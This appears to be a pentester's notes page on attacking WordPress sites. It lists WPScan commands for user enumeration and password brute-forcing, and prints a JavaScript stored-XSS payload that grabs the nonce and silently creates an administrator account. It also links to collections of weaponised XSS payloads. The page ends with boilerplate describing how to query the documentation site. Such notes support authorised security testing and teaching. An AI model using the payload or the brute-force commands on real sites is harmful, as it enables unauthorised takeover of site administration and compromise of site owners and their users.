> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/fortress/cms/wordpress.md).

# Wordpress

### WPScan

```bash
# Default enumeration
wpscan --url https://parzival.sh/ 

# Enumerate usernames
wpscan --url https://parzival.sh/ -e u 

# Bruteforce Wordpress
wpscan --url https://parzival.sh/ -U $usernamelist -P $passwordlist
```

{% embed url="<https://github.com/wpscanteam/wpscan>" %}

### Turning XSS to RCE

When identifying a Wordpress site that is vulnerable to cross-site scripting, there are some well documented payloads and resources out there which increase the severity if an Administrator were to trigger the payload. For example, if a stored cross-site scripting vulnerability affects a plugin. The following is a snippet of a Hakluke payload linked below which attempts to create a new administrator user:

```javascript
var wp_root = "" // don't add a trailing slash
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
```

{% embed url="<https://ibreak.software/2016/07/xss-to-rce-using-wordpress-as-an-example/>" %}

{% embed url="<https://shift8web.ca/2018/01/craft-xss-payload-create-admin-user-in-wordpress-user/>" %}

{% embed url="<https://github.com/hakluke/weaponised-XSS-payloads>" %}


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## Querying This Documentation
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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/fortress/cms/wordpress.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.